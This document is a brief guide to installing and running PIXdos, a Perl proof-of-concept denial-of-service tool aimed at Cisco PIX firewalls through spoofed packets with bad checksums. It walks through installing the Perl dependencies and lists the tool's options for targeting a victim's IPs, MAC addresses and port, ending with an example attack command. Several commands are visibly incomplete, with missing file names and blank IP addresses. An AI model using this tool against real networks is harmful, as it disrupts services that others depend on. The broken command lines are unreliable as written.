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PIXdos is a proof of concept, (POC), perl script that hopes to demonstrate the susceptibility of Cisco PIX devices to Denial of Service, (DoS), attacks utilising spoofed packets integrated with bad checksums.




PIXDoS is available from here.


It requires various Perl modules to be installed before it is able to be utilised.  These can be obtained by searching CPAN and installed manually (below) or by using a direct connection to CPAN itself.


cpan> install Class::MethodMaker etc.... 

Class::MethodMaker - A search comes up with Class-MethodMaker-2.08.tar.gz

tar -zxvf Class-MethodMaker-2.08.tar.gz



make install


Term::ReadKey - A search comes up with TermReadKey-2.30.tar.gz


tar -zxvf TermReadKey-2.30.tar.gz



make install

Term::ProgressBar - A search comes up with Term-ProgressBar-2.09.tar.gz

tar -zxvf Term-ProgressBar-2.09.tar.gz



make install


& finally to PIXdos:

tar -zxvf PIXdos.tar.gz
chmod 744


Execution [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=M AC]

[--destmac=MAC] [--port=n]



    --help This message

    --device Network interface (default set eth0)

    --source Victim source IP

    --dest Victim destination IP

    --sourcemac Victim source MAC

    --destmac MAC Address of the gateway

    --port TCP port




./ --device eth0 --source --dest

--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22


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